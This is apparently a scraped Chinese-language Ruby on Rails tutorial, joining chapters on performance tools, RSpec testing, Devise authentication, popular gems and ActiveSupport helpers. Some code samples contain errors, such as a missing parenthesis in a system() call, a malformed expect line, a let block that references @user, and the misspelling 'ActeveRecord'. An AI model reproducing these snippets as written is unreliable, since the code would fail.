Rails command line * Rails helper methods: Creating report in your log file ### 一般性工具(黑箱) * [httperf](https://code.google.com/p/httperf/): 可以參考[使用 httperf 做網站效能分析](http://ihower.tw/blog/archives/1749)一文 * [wrk](https://github.com/wg/wrk): Modern HTTP benchmarking tool * [Apache ab](http://httpd.apache.org/docs/2.2/programs/ab.html): Apache HTTP server benchmarking tool How fast can this server serve requests? * Use web server to serve static files as baseline measurement * Do not run from the same server (I/O and CPU) * Run from a machine as close as possible You need know basic statistics * compare not just their means but their standard deviations and confidence intervals as well. * Approximately 68% of the data points lie within one standard deviation of the mean * 95% of the data is within 2 standard deviation of the mean ## 如何寫出執行速度較快的Ruby程式碼 * [如何寫出有效率的 Ruby Code](http://ihower.tw/blog/archives/1691) * [Writing Fast Ruby](https://speakerdeck.com/sferik/writing-fast-ruby) * [JuanitoFatas/fast-ruby](https://github.com/JuanitoFatas/fast-ruby) 不過有時候「執行速度較快」的程式碼不代表好維護、好除錯的程式碼,這一點需要多加注意。 ## 使用更快的Ruby函式庫 有C Extension的Ruby函式庫總是比較快的,如果常用可以考慮安裝: * XML parser [http://nokogiri.org/](http://nokogiri.org/) * JSON parser [http://github.com/brianmario/yajl-ruby/](http://github.com/brianmario/yajl-ruby/) * HTTP client [http://github.com/pauldix/typhoeus](http://github.com/pauldix/typhoeus) * [escape_utils](https://github.com/brianmario/escape_utils): 請參考 [Escape Velocity](https://github.com/blog/1475-escape-velocity) ## 由Web伺服器提供靜態檔案 由Web伺服器提供檔案會比你用Application伺服器快上十倍以上,如果是不需要權限控管的靜態檔案,可以直接放在public目錄下讓使用者下載。 如果是需要權限控管得經過Rails,你會在controller才用`send_file`送出檔案,這時候可以打開`:x_sendfile`表示你將傳檔的工作委交由Web伺服器的xsendfile模組負責。當然,Web伺服器得先安裝好x_sendfile功能: * [Apache mod_xsendfile](https://tn123.org/mod_xsendfile) * [Nginx XSendfile](http://wiki.nginx.org/XSendfile) ## 由 CDN 提供靜態檔案 靜態檔案也放在CDN上讓全世界的使用者在最近的下載點讀取。CDN需要專門的CDN廠商提供服務,其中推薦[AWS CloudFront](http://aws.amazon.com/cloudfront/)和[CloudFlare](https://www.cloudflare.com/)線上就可以完成申請和設定的。 如果要讓你的Assets例如CSS, JavaScript, Images也讓使用者透過CDN下載,只要修改config/environments/production.rb的`config.action_controller.asset_host`為CDN網址即可。 ## Client-side web performance 參考[Rails Front-End 優化](http://ihower.tw/blog/archives/1707) * [YSlow](http://yslow.org/) * [Google PageSpeed](http://code.google.com/speed/page-speed/) ## 使用外部程式 Ruby不是萬能,有時候直接呼叫外部程式是最快的作法: ~~~ def thumbnail(temp, target) system("/usr/local/bin/convert #{escape(temp)} -resize 48x48! #{escape(target}") end ~~~ ## 投影片 * [Rails Performance Best Practices](http://www.slideshare.net/ihower/rails-performance) ## 其他線上資源 * [Performance Testing Rails Applications](http://guides.rubyonrails.org/v3.2.13/performance_testing.html)
';

自動化測試

最后更新于:2022-04-01 02:31:36

> Developer testing isn’t primarily about verifying code. It’s about making great code. If you can’t test something, it might be your testing skills failing you but it’s probably your code code’s design. Testable code is almost always better code. - Chad Fowler 軟體測試可以從不同層面去切入,其中最小的測試粒度叫做Unit Test單元測試,會對個別的類別和方法測試結果如預期。再大一點的粒度稱作Integration Test整合測試,測試多個元件之間的互動正確。最大的粒度則是Acceptance Test驗收測試,從用戶觀點來測試整個軟體。 其中測試粒度小的單元測試,通常會由開發者自行負責測試,因為只有你自己清楚每個類別和方法的內部結構是怎麼設計的。而粒度大的驗收測試,則常由專門的測試工程師來負責,測試者不需要知道程式碼內部是怎麼實作的,只需知道什麼是系統應該做的事即可。 本章的內容,就是關於我們如何撰寫自動化的測試程式,也就是寫程式去測試程式。很多人對於自動化測試的印象可能是: * 佈署前作一次手動測試就夠了,不需要自動化 * 寫測試很無聊 * 測試很難寫 * 寫測試不好玩 * 我們沒有時間寫測試 時程緊迫預算吃緊,哪來的時間做自動化測試呢?這個想法是相當短視和業餘的想法,寫測試有以下好處: * 正確(Correctness):確認你寫的程式的正確,結果如你所預期。一旦寫好測試程式,很容易就可以檢查程式有沒有寫對,大大減少自行除錯的時間。 * 穩定(Stability):之後新加功能或改寫重構時,不會影響搞爛之前寫好的功能。這又叫作「回歸測試」,你不需要手動再去測其他部分的測試,你可以用之前寫好的測試程式。如果你的軟體不是那種跑一次就丟掉的程式,而是需要長期維護的產品,那就一定有回歸測試的需求。 * 設計(Design):可以採用TDD開發方式,先寫測試再實作。這是寫測試的最佳時機點,實作的目的就是為了通過測試。從使用API的呼叫者的角度去看待程式,可以更關注在介面而設計出更好用的API。 * 文件(Documentation):測試就是一種程式規格,程式的規格就是滿足測試條件。這也是為什麼RSpec稱為Spec的原因。不知道API怎麼呼叫使用時,可以透過讀測試程式知道怎麼使用。 其中光是第一個好處,就值得你學習如何寫測試,來加速你的開發,怎麼說呢?回想你平常是怎麼確認你寫的程式正確的呢? 是不是在命令列中實際執行看看,或是打開瀏覽器看看結果,每次修改,就重新手動重新整理看看。這些步驟其實可以透過用自動化測試取代,大大節省手工測試的時間。這其實是一種投資,如果是簡單的程式,也許你手動執行一次就寫對了,但是如果是複雜的程式,往往第一次不會寫對,你會浪費很多時間在檢查到底你寫的程式的正確性,而寫測試就可以大大的節省這些時間。更不用說你明天,下個禮拜或下個月需要再確認其他程式有沒有副作用影響的時候,你有一組測試程式可以大大節省手動檢查的時間。 那要怎麼進行自動化測試呢?幾乎每種語言都有一套叫做xUnit測試框架的測試工具,它的標準流程是 1\. (Setup) 設定測試資料 2\. (Exercise) 執行要測試的方法 3\. (Verify) 檢查結果是否正確 4\. (Teardown) 清理還原資料,例如資料庫,好讓多個測試不會互相影響。 我們將使用RSpec來取代Rails預設的Test::Unit來做為我們測試的工具。RSpec是一套改良版的xUnit測試框架,非常風行於Rails社群。讓我們先來簡單比較看看它們的語法差異: 這是一個Test::Unit範例,其中一個test_開頭的方法,就是一個單元測試,裡面的assert_equal方法會進行驗證。個別的單元測試應該是獨立不會互相影響的: ~~~ class OrderTest < Test::Unit::TestCase def setup @order = Order.new end def test_order_status_when_initialized assert_equal @order.status, "New" end def test_order_amount_when_initialized assert_equal @order.amount, 0 end end ~~~ 以下是用RSpec語法改寫,其中的一個it區塊,就是一個單元測試,裡面的expect方法會進行驗證。在RSpec裡,我們又把一個小單元測試叫做example: ~~~ describe Order do before do @order = Order.new end context "when initialized" do it "should have default status is New" do expect(@order.status).to eq("New") end it "should have default amount is 0" do expect()@order.amount).to eq(0) end end end ~~~ RSpec程式碼比起來更容易閱讀,也更像是一種規格Spec文件,且讓我們繼續介紹下去。 ## RSpec簡介 [RSpec](https://relishapp.com/rspec/)是一套Ruby的測試DSL(Domain-specific language)框架,它的程式比Test::Unit更好讀,寫的人更容易描述測試目的,可以說是一種可執行的規格文件。也 非常多的Ruby on Rails專案採用RSpec作為測試框架。它又稱為一種BDD(Behavior-driven development)測試框架,相較於TDD用test思維,測試程式的結果。BDD強調的是用spec思維,描述程式應該有什麼行為。 ### 安裝RSpec與RSpec-Rails 在Gemfile中加入: ~~~ group :test, :development do gem "rspec-rails" end ~~~ 安裝: ~~~ rails generate rspec:install ~~~ 這樣就會建立出spec目錄來放測試程式,本來的test目錄就用不著了。 以下指令會執行所有放在spec目錄下的測試程式: ~~~ bin/rake spec ~~~ 如果要測試單一檔案,可以這樣: ~~~ bundle exec rspec spec/models/user_spec.rb ~~~ ### 語法介紹 在示範怎麼在Rails中寫單元測試前,讓我們先介紹一些基本的RSpec用法: ### describe和context describe和context幫助你組織分類,都是可以任意套疊的。它的參數可以是一個類別,或是一個字串描述: ~~~ describe Order do describe "#amount" do context "when user is vip" do # ... end context "when user is not vip" do # ... end end end ~~~ 通常最外層是我們想要測試的類別,然後下一層是哪一個方法,然後是不同的情境。 ### it和expect 每個it就是一小段測試,在裡面我們會用expect(…).to來設定期望,例如: ~~~ describe Order do describe "#amount" do context "when user is vip" do it "should discount five percent if total >= 1000" do user = User.new( :is_vip => true ) order = Order.new( :user => user, :total => 2000 ) expect(order.amount).to eq(1900) end it "should discount ten percent if total >= 10000" { ... } end context "when user is vip" { ... } end end ~~~ 除了expect(…).to,也有相反地expect(…).not_to可以用。 ### before和after 如同xUnit框架的setup和teardown: * `before(:each)` 每段it之前執行 * `before(:all)` 整段describe前只執行一次 * `after(:each)` 每段it之後執行 * `after(:all)` 整段describe後只執行一次 範例如下: ~~~ describe Order do describe "#amount" do context "when user is vip" do before(:each) do @user = User.new( :is_vip => true ) @order = Order.new( :user => @user ) end it "should discount five percent if total >= 1000" do @order.total = 2000 expect(@order.amount).to eq(1900) end it "should discount ten percent if total >= 10000" do @order.total = 10000 expect(@order.amount).to eq(9000) end end context "when user is vip" { ... } end end ~~~ ### let 和 let! let可以用來簡化上述的before用法,並且支援lazy evaluation和memoized,也就是有需要才初始,並且不同單元測試之間,只會初始化一次,可以增加測試執行效率: ~~~ describe Order do describe "#amount" do context "when user is vip" do let(:user) { User.new( :is_vip => true ) } let(:order) { Order.new( :user => @user ) } end end end ~~~ 透過let用法,可以比before更清楚看到誰是測試的主角,也不需要本來的`@`了。 let!則會在測試一開始就先初始一次,而不是lazy evaluation。 ### pending 你可以先列出來預計要寫的測試,或是暫時不要跑的測試,以下都會被歸類成pending: ~~~ describe Order do describe "#paid?" do it "should be false if status is new" xit "should be true if status is paid or shipping" do # this test will not be executed end end end ~~~ ### specify 和 example specify和example都是it方法的同義字。 ### Matcher 上述的expect(…).to後面可以接各種Matcher,除了已經介紹過的eq之外,在[https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers](https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers) 官方文件上可以看到更多用法。例如驗證會丟出例外: ~~~ expect { ... }.to raise_error expect { ... }.to raise_error(ErrorClass) expect { ... }.to raise_error("message") expect { ... }.to raise_error(ErrorClass, "message") ~~~ 不過別擔心,一開始先學會用`eq`就很夠用了,其他的Matchers可以之後邊看邊學,學一招是一招。再進階一點你可以自己寫Matcher,RSpec有提供擴充的DSL。 ### RSpec Mocks 用假的物件替換真正的物件,作為測試之用。主要用途有: * 無法控制回傳值的外部系統 (例如第三方的網路服務) * 建構正確的回傳值很麻煩 (例如得準備很多假資料) * 可能很慢,拖慢測試速度 (例如耗時的運算) * 有難以預測的回傳值 (例如亂數方法) * 還沒開始實作 (特別是採用TDD流程) ## Rails中的測試 在Rails中,RSpec分成數種不同測試,分別是Model測試、Controller測試、View測試、Helper測試、Route和Request測試。 ### 安裝 Rspec-Rails 在Gemfile中加上 ~~~ gem 'rspec-rails', :group => [:development, :test] ~~~ 執行以下指令: ~~~ $ bundle $ rails g rspec:install ~~~ ### 如何處理Fixture Rails內建有Fixture功能可以建立假資料,方法是為每個Model使用一份YAML資料。Fixture的缺點是它是直接插入資料進資料庫而不使用ActiveRecord,對於複雜的Model資料建構或關連,會比較麻煩。因此推薦使用[FactoryGirl](http://github.com/thoughtbot/factory_girl)這套工具,相較於Fixture的缺點是建構速度較慢,因此撰寫時最好能注意不要浪費時間在產生沒有用到的假資料。甚至有些資料其實不需要存到資料庫就可以進行單元測試了。 關於測試資料最重要的一點是,記得確認每個測試案例之間的測試資料需要清除,Rails預設是用關聯式資料庫的Transaction功能,所以每次之間增修的資料都會清除。但是如果你的資料庫不支援(例如MySQL的MyISAM格式就不支援)或是用如MongoDB的NoSQL,那麼就要自己處理,推薦可以試試[Database Clener](https://github.com/bmabey/database_cleaner)這套工具。 ## Capybara簡介 RSpec除了可以拿來寫單元程式,我們也可以把測試的層級拉高做整合性測試,以Web應用程式來說,就是去自動化瀏覽器的操作,實際去向網站伺服器請求,然後驗證出來的HTML是正確的輸出。 [Capybara](https://github.com/jnicklas/capybara)就是一套可以搭配的工具,用來模擬瀏覽器行為。使用範例如下: ~~~ describe "the signup process", :type => :request do it "signs me in" do within("#session") do fill_in 'Login', :with => 'user@example.com' fill_in 'Password', :with => 'password' end click_link 'Sign in' end end ~~~ 如果真的需要打開瀏覽器測試,例如需要測試JavaScript和Ajax介面,可以使用[Selenium](http://seleniumhq.org/)或[Watir](http://watir.com/)工具。真的打開瀏覽器測試的缺點是測試比較耗時,你沒辦法像單元測試一樣可以經常執行得到回饋。另外在設定CI server上也較麻煩,你必須另有一台桌面作業系統才能執行。 ## 其他可以搭配測試工具 [Guard](https://github.com/ranmocy/guard-rails)是一種Continuous Testing的工具。程式一修改完存檔,自動跑對應的測試。可以大大節省時間,立即回饋。 [Shoulda](https://github.com/thoughtbot/shoulda-matchers)提供了更多Rails的專屬Matchers [SimpleCov](https://github.com/colszowka/simplecov)用來測試涵蓋度,也就是告訴你哪些程式沒有測試到。有些團隊會追求100%涵蓋率是很好,不過要記得Coverage只是手段,不是測試的目的。 ## CI server CI(Continuous Integration)伺服器的用處是每次有人Commit就會自動執行編譯及測試(Ruby不用編譯,所以主要的用處是跑測試),並回報結果,如果有人送交的程式搞砸了回歸測試,馬上就有回饋可以知道。推薦第三方的服務包括: * https://travis-ci.org * https://www.codeship.io * https://circleci.com 如果自己架設的話,推薦老牌的[Jenkins](http://jenkins-ci.org/)。 ## 投影片 * [RSpec 讓你愛上寫測試](http://www.slideshare.net/ihower/rspec-7394497) ## 更多線上資源 * [A Guide to Testing Rails Applications](http://guides.rubyonrails.org/testing.html)
';

使用者認證

最后更新于:2022-04-01 02:31:34

> Quality, Speed or Cheap. Pick two. - Unknown 使用者認證Authentication用以識別使用者身分,而授權Authorization則用來處理使用者有沒有權限可以作哪些事情。 ## Authentication: 使用 Devise [devise](http://github.com/plataformatec/devise)是一套使用者認證(Authentication)套件,是Rails社群中最廣為使用的一套。 * 編輯 Gemfile 加上 ~~~ gem 'devise' ~~~ * 輸入`bundle install`安裝此套件 * 輸入`rails g devise:install`產生devise設定檔 * 編輯 config/environments/development.rb 和 production.rb 加入寄信時預設的網站網址: ~~~ config.action_mailer.default_url_options = { :host => 'localhost:3000' } ~~~ * 確認 app/views/layouts/application.html.erb layout 中可以顯示 flash 訊息,例如 ~~~ <p class="notice"><%= notice %></p> <p class="alert"><%= alert %></p> ~~~ * 確認 routes.rb 中有設定網站首頁位置,例如 ~~~ root :to => "welcome#index" ~~~ * 輸入`rails g devise user`產生 User model 及 Migration * 如果需要E-mail驗證功能,可以編輯`app/models/user.rb`和`migration`將confirmable功能打開 * 輸入`rails generate devise:views`產生樣板,這會包括有註冊、登入、忘記密碼、Email等等頁面,放在app/views/devise目錄下。 * 輸入`bin/rake db:migrate`建立資料表 ### 用法 * 在需要登入的 controller 加上`before_action :authenticate_user!` * 可以在 Layout 中加上登入登出選單 ~~~ <% if current_user %> <%= link_to('登出', destroy_user_session_path, :method => :delete) %> | <%= link_to('修改密碼', edit_registration_path(:user)) %> <% else %> <%= link_to('註冊', new_registration_path(:user)) %> | <%= link_to('登入', new_session_path(:user)) %> <% end %> ~~~ ### 加上自訂欄位 Devise預設沒有產生出first_name、last_name等等欄位,我們可以加一些欄位到User Model: * `rails g migration add_username_to_users`,加上 ~~~ add_column :users, :username, :string ~~~ * `rake db:migrate` 新增這個欄位 * 編輯application_controller.rb補上configure_permitted_parameters方法: ~~~ class ApplicationController < ActionController::Base before_action :configure_permitted_parameters, if: :devise_controller? # ... protected def configure_permitted_parameters devise_parameter_sanitizer.for(:sign_up) << :username devise_parameter_sanitizer.for(:account_update) << :username end end ~~~ * 編輯views/devise/registrations/edit.html.erb和views/devise/registrations/new.html.erb,加上username欄位 ~~~ <div><%= f.label :username %><br /> <%= f.text_field :username %></div> ~~~ ## Authentication: 使用 Omniauth 除了使用上述的Devise自行處理使用者帳號密碼之外,現在也非常流行直接使用外部的使用者認證系統,例如Google、Facebook、Yahoo、GitHub等等,一來絕大部分的使用者都已經有了這些大網站的帳號,不需要再註冊一次。二來你也不需要擔心儲存密碼的安全性問題。 這方面利用的套件是[Omniauth](https://github.com/intridea/omniauth),他可以搭配各種不同的Provider廠商: * [omniauth-facebook](https://github.com/mkdynamic/omniauth-facebook) * [omniauth-google-oauth2](http://www.rubydoc.info/gems/omniauth-google-oauth2/0.2.5/frames) * [omniauth-yahoo](https://github.com/timbreitkreutz/omniauth-yahoo) * [omniauth-github](https://github.com/intridea/omniauth-github) ## Authentication: SSO 如果你有多個網站需要實作SSO(single sign-on),可以考慮採用[CAS](http://en.wikipedia.org/wiki/Central_Authentication_Service)的解決方案。推薦以下的Sinatra實作: * [rubycas-server](http://rubycas.github.io/) ## Authorization 在讓使用者登入之後,如果需要進一步設計使用者權限,除了自行實作之外,也有一些函式庫可以幫助你設計,例如: * [pundit](https://github.com/elabs/pundit) * [cancancan](https://github.com/CanCanCommunity/cancancan) ## OAuth OAuth 是一個開放的標準,允許用戶讓第三方應用訪問該用戶在某一網站上存儲的私密的資源(如照片,影片,聯繫人列表),而無需將用戶名和密碼提供給第三方應用。 * OAuth Client: [oauth2](https://github.com/intridea/oauth2) * OAuth Server: [doorkeeper](https://github.com/doorkeeper-gem/doorkeeper) 進一步關於OAuth的介紹,推薦[鴨七的OAuth 2.0 筆記](http://blog.yorkxin.org/tags/OAuth)
';

錦囊妙計

最后更新于:2022-04-01 02:31:32

> When you choose a language, you’re choosing more than a set of technical trade-offs—you’re choosing a community. - Joshua Bloch 這一章介紹一些常見的Rails疑難雜症問題,以及常用的RubyGem套件。更多熱門套件可以參考[The Ruby Toolbox](http://ruby-toolbox.com/)和[awesome-ruby](https://github.com/markets/awesome-ruby)。 ## Bootstrap [Bootstrap](http://getbootstrap.com/)是目前最流行的前端設計框架,讓開發者也可以很輕鬆的進行網頁排版,也很有多現成的Theme可以套用。要在Rails使用Bootstrap,請安裝[bootstrap-sass](https://github.com/twbs/bootstrap-sass) 如果搭配分頁套件kaminari的話,執行rails generate kaminari:views bootstrap3就會產生對應的kaminari樣板。 進一步可以參考[Integrating Rails and Bootstrap](http://www.gotealeaf.com/blog/integrating-rails-and-bootstrap-part-1/)這一系列文章。 ## Rake [Rake](https://github.com/ruby/rake) 用來編寫任務腳本,讓我們在CLI中可以執行。它的好處在於提供良好的任務編寫結構,並且很方便設定各個任務的相依性,例如執行任務C前,需要先執行任務A、B。在 Rails 之中就內建了許多 rake 指令,除了你已經使用過的 rake db:migrate 之外,你可以輸入 rake -T 看到所有的 rake 指令。 而要在 Rails 環境中撰寫 Rake,請將附檔名為 .rake 的檔案放在 lib/tasks 目錄下即可,例如: ~~~ # /lib/tasks/dev.rake namespace :dev do desc "Rebuild system" task :rebuild => ["db:drop", "db:setup", :fake] task :fake => :environment do puts "Create fake data for development" u = User.new( :login => "root", :password => "password", :email => "root@example.com", :name => "管理員") u.save! end end ~~~ 透過執行 rake dev:rebuild,就會砍掉重建資料庫,最後執行 rake dev:setup 建立一些假資料作為開發之用。 其他常見的使用情境包括:1\. 修正上線的資料,這樣部署到Production後,可以用來執行 2\. 建立開發用的假資料 3\. 搭配排成工具使用,例如每天凌晨三點寄出通知信、每週一產生報表等等 更多介紹可以參考 [http://jasonseifer.com/2010/04/06/rake-tutorial](http://jasonseifer.com/2010/04/06/rake-tutorial) 這篇文章。 ## 分頁 * [will_paginate](https://github.com/mislav/will_paginate) * [kaminari](https://github.com/amatsuda/kaminari) ## 檔案上傳 * [Paperclip](http://github.com/thoughtbot/paperclip) 是目前使用上最為方便的檔案上傳 plugin。 * [CarrierWave](https://github.com/jnicklas/carrierwave) ## ActiveReord增強 加強搜尋 * [Ransack](https://github.com/activerecord-hackery/ransack)可以很快的針對ActiveRecord做出排序和複雜的條件搜尋。 列表結構(自訂排列順序),搭配 jQuery UI Sortable 就可以做出拖拉排序,可以參考[Sortable Lists](http://railscasts.com/episodes/147-sortable-lists-revised)這篇文章。 * [ActsAsList](https://github.com/swanandp/acts_as_list) * [ranked-model](https://github.com/mixonic/ranked-model) 樹狀結構 * [ActsAsTree](https://github.com/amerine/acts_as_tree) * [ancestry](https://github.com/stefankroes/ancestry) * [awesome_nested_set](https://github.com/collectiveidea/awesome_nested_set) Tagging 標籤 * [acts-as-taggable-on](https://github.com/mbleigh/acts-as-taggable-on) 製作 Tag 功能。 Soft Deletion 和版本控制,編輯和刪除後還可以留下紀錄和還原, * [paper_trail](https://github.com/airblade/paper_trail) 另開一個 versions table 完整紀錄 * [paranoia](http://www.rubydoc.info/gems/paranoia) 加一個欄位標記被刪除 有限狀態機,適合用來設計比較複雜的 model 流程狀態 * [aasm](http://github.com/rubyist/aasm) 資料表註解,會幫你在model code上面註解加上所有資料表的欄位 * [annotate_models](https://github.com/ctran/annotate_models) 根據ActiveRecord的關聯自動產生漂亮的Entity-Relationship Diagrams * [rails-erd](https://github.com/voormedia/rails-erd) ## 處理 HTTP 請參考 [HTTP client](http://ihower.tw/blog/archives/2941) 這篇文章。推薦 [httpclient](https://github.com/nahi/httpclient) 或 [faraday](https://github.com/lostisland/faraday)。 ## PDF * [Prawn](http://github.com/sandal/prawn) 可以產生 PDF,支援 Unicode。 * [PDFKit](http://thinkrelevance.com/blog/2010/06/15/rethinking-pdf-creation-in-ruby.html) 則是另一個有趣的產生方式,透過 HTML/CSS 轉 PDF。 * [Prince](http://www.princexml.com/) 是一套商用方案,將 HTML/CSS 轉 PDF ## CSV Ruby就有內建這個函式庫了,只需要`require "csv"`即可使用。 ## YAML Rails 的資料庫設定檔 database.yml 是用一種叫 : [YAML Ain’t Markup Language](http://www.yaml.org/) 的格式所撰寫,檔案打開來,看起來就像一般的 plain 設定檔,非常容易修改。 YAML 的設計首要目標就是要讓使用者容易看懂,可以和 script 語言搭配良好。用途有 資料序列化 data serialization、設定檔 configuration settings、log files、Internet messaging、filtering 等。網站上已知有支援的 script 語言有 Python,Ruby,Java,PHP,Perl,Javascript 等。 ~~~ require ‘yaml’ ps2 = YAML.load_file(‘example.yaml’) ps2.each do |it| puts it.inspect end ~~~ ## JSON Rails 內建就有 [ActiveSupport JSON](http://caboo.se/doc/classes/ActiveSupport/JSON.html),用法如下: ~~~ ActiveSupport::JSON.encode( [ {:a => 1 , :b => 2 } , "c", "d" ] ) => "[{\"a\":1,\"b\":2},\"c\",\"d\"]" ActiveSupport::JSON.decode( "[{\"a\":1,\"b\":2},\"c\",\"d\"]" ) => [{"a"=>1, "b"=>2}, "c", "d"] ~~~ [yajl-ruby](http://github.com/brianmario/yajl-ruby) 則是一套底層用C,比較快很多的 JSON parser,建議可以讓Rails底層改用這套函式庫,請在`Gemfile`檔案中加入 ~~~ gem 'yajl-ruby', :require => 'yajl' ~~~ ## XML Rails 內建使用 Ruby 的 XML 函式庫 [Builder](http://builder.rubyforge.org/) [Nokogiri](http://github.com/tenderlove/nokogiri) 是一套基於 [libxml2](http://xmlsoft.org/) 的函式庫,效能較佳。可參考 [Getting Started with Nokogiri](http://www.engineyard.com/blog/2010/getting-started-with-nokogiri/)一文介紹用法。 如果要替換 Rails 內建的 XML 函式庫,請在`Gemfile`檔案中加入 ~~~ gem 'nokogiri' ~~~ > 有些函式庫為了執行效率,底層會改用 C 的函式庫,適合於正式上線環境,缺點是需要編譯,在一些特殊環境可能無法運作,例如最新版的 Nokogiri 就不支援 Windows 了。而純 Ruby 實作的版本就沒有這個問題。 ## 表單 除了用Rails內建的表單Helper,也有一些提供表單設計更方便的套件: * [simple_form](https://github.com/plataformatec/simple_form) * [formtastic](https://github.com/justinfrench/formtastic) ## Admin 介面 * [ActiveAdmin](http://activeadmin.info/) * [RailsAdmin](https://github.com/sferik/rails_admin) ## 如何畫圖表 使用 [GoogleCharts](http://googlecharts.rubyforge.org/) 是最簡單的方式。 如果您使用 jQuery,[flot](http://code.google.com/p/flot/) 是一套不錯的圖表工具。 ## Recapache * [Recaptcha](http://github.com/ambethia/recaptcha) 是做 captcha 最簡單快速的方式。 ## 排程工具 如果您有週期性的任務需要執行,除了可以透過Linux的crontab設定去執行rake腳本。例如輸入crontab -e加入: ~~~ 0 2 * * * cd /home/your_project/current/ && RAILS_ENV=production /usr/local/bin/rake cron:daily ~~~ 就是每天凌晨兩點執行rake cron:daily這個任務。 或是你可以安裝[whenever](https://github.com/javan/whenever)這個 gem,就可以用Ruby的語法來定義週期性的任務,可以很方便的設定伺服器上的cron排程。 ## 自動備份 * [https://github.com/meskyanichi/backup](https://github.com/meskyanichi/backup) 可以搭配 whenever 就可以定期備份了 ## 升級Rails 小版號的升級,通常透過以下步驟即可完成: * 修改`Gemfile`的Rails版本: `gem 'rails', '3.1.1'` * 執行`bundle update` * 執行`rake rails:update` 會嘗試更新Rails自己產生的檔案,例如config/boot.rb,請一一手動檢查。 升級前,也請參閱官方公告的升級注意事項。 ## 如何變更 ActiveRecord 預設的資料表和主鍵名稱 如果要將Rails沿用上舊有的資料庫上,就會發生的資料表名稱和主鍵名稱不是 Rails 預設慣例的情況,也就是表格名稱不是Model名稱的複數型,主鍵不叫id。這時候我們可以手動設定過,例如以下 Model 預設的資料表和主鍵是legacy_comments和id,但是我們想要改成comment和comment_id: ~~~ class LegacyComment < ActeveRecord::Base self.table_name = :comment self.primary_key = :comment_id end ~~~ ## 其他 * [http://asciicasts.com/episodes/255-undo-with-papertrail](http://asciicasts.com/episodes/255-undo-with-papertrail) * [http://intridea.com/2011/5/13/rails3-gems](http://intridea.com/2011/5/13/rails3-gems) * [http://erik.debill.org/2011/12/04/rake-for-rails-developers](http://erik.debill.org/2011/12/04/rake-for-rails-developers)
';

ActiveSupport:工具函式庫

最后更新于:2022-04-01 02:31:29

> I thought of objects being like biological cells and/or individual computers on a network, only able to communicate with messages — Alan Kay, creator of Smalltalk Active Support 是 Rails 裡的工具函式庫,它也擴充了一些 Ruby 標準函式庫。除了被用在 Rails 核心程式中,你也可以在你的程式中使用。本章介紹其中的一小部分較為常用的功能。 ### blank? 和 present? 在Rails中下面幾種情況被定義是blank: * `nil`或是`false` * 只由空白組成的字串 * 空陣列或是空Hash * 任何物件當使用`empty?`方法呼叫時回應為`true`時 > 在Ruby1.9中的字串支援辨識Unicode字元,因此某些字元像是U2029(分隔線也會被視為是空白。 > 以數字來說,0或是0.0並不是blank 舉例來說在`ActionDispatch::Session::AbstractStore`中就使用了`blank?`方法來確定session key是否存在: ~~~ def ensure_session_key! if @key.blank? raise ArgumentError, 'A key is required...' end end ~~~ `present?`方法就是`blank?`方法的相反,判斷是否存在,因此`present?`方法與`!blank?`方法兩者表達的意思是一樣的。 ### try `try`是一個相當實用的功能,當我們去呼叫一個物件的方法,而該物件當時卻是`nil`的時候,Rails會拋出`method_missing`的例外,最常見的例子像是我們想判斷某些動作只有管理員可以進行操作,因此我們通常會這樣寫: ~~~ if current_user.is_admin? # do something end ~~~ 但這樣的寫法當使用者其實是未登入時我們的`current_user`便會回傳`nil`,而再去呼叫`is_admin?`方法時便會發生錯誤拋出例外,`try`方法便是運用在這樣的情況,剛剛的例子我們可以改寫成 ~~~ if current_user.try(:is_admin?) # do something end ~~~ 這樣子當使用者並未登入的時候會直接回傳`nil`而不會再去呼叫後面的`is_admin?`方法 ### to_param Rails中所有的物件都支援`to_param`方法,這個方法會幫我們將物件轉為可用的數值並以字串表示: ~~~ 7.to_param # => "7" to_param 方法預設會去呼叫物件的 to_s 方法 ~~~ Rails中某些類別去覆寫了`to_param`方法,像是`nil`、`true`、`false`等在呼叫`to_param`時會回傳自己本身,而陣列會將所有的元素印出來並加上”/”: ~~~ [0, true, String].to_param # => "0/true/String" ~~~ 值得注意的是,在Rails的Routing系統中,我們常使用`/:id`來表示該物件的id,事實上是Rails改寫了`ActiveRecord::Base`中的`to_param`方法,當然我們也可以自己去改寫他: ~~~ class User def to_param "#{id}-#{name.parameterize}" end end ~~~ 那麼當我們呼叫`user_path(@user)`的時候,Rails就會轉換成 “#{id}-#{name.parameterize}”,這技巧常使用在改寫URL的表現方式 ### to_query `to_query`會幫我們去呼叫物件的`to_param`方法,並且幫我們整理成查詢的格式並輸出,例如我們去改寫User Model的`to_param`方法: ~~~ class User def to_param "#{id}-#{name.parameterize}" end end current_user.to_query('user') # => user=357-john-smith ~~~ `to_query`會將輸出的符號都以逸出程式碼(escape)取代,無論是鍵或是值,因此更方便去處理: ~~~ account.to_query('company[name]') # => "company%5Bname%5D=Johnson+%26+Johnson" ~~~ 當呼叫陣列的`to_query`方法時會呼叫陣列中所有元素的`to_query`方法,並且使用`"[]"`做為鍵值,並在每個元素與元素間插入`"&"`做為區隔: ~~~ [3.4, -45.6].to_query('sample') # => "sample%5B%5D=3.4&sample%5B%5D=-45.6" ~~~ 呼叫Hash的`to_query`方法時,當沒有給予query的字串時預設會以Hash本身的鍵值做為query字串輸出(`to_query(key)`): ~~~ {:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3" ~~~ 換句話說你也可以自己指定做為query的字串,這個字串會變為Hash本身鍵值的namespace: ~~~ {:id => 89, :name => "John Smith"}.to_query('user') # => "user%5Bid%5D=89&user%5Bname%5D=John+Smith" ~~~ ## 擴充 Class ### Class Attributes #### class_attribute `class_attribute`這個方法可以宣告一個或多個類別變數,且此類別變數是可以被繼承的類別所覆寫的: ~~~ class A class_attribute :x end class B < A; end class C < B; end A.x = :a B.x # => :a C.x # => :a B.x = :b A.x # => :a C.x # => :b C.x = :c A.x # => :a B.x # => :b ~~~ 也可以在實例變數的層級被讀取或覆寫: ~~~ A.x = 1 a1 = A.new a2 = A.new a2.x = 2 a1.x # => 1, comes from A a2.x # => 2, overridden in a2 ~~~ `class_attribute`同時也幫你定義了查詢的方法,你可以在變數名稱後面加上問號來看此變數是否已經被定義,以上面的例子來說就是`x?`,結果會回傳`true`或`false` #### `cattr_reader`、`cattr_writer`與`cattr_accessor` `cattr_reader`、`cattr_writer`與`cattr_accessor`這三個方法就像是`attr_*`的類別變數版本,透過這三個方法可以建立相對應的類別變數及存取方法: ~~~ class MysqlAdapter < 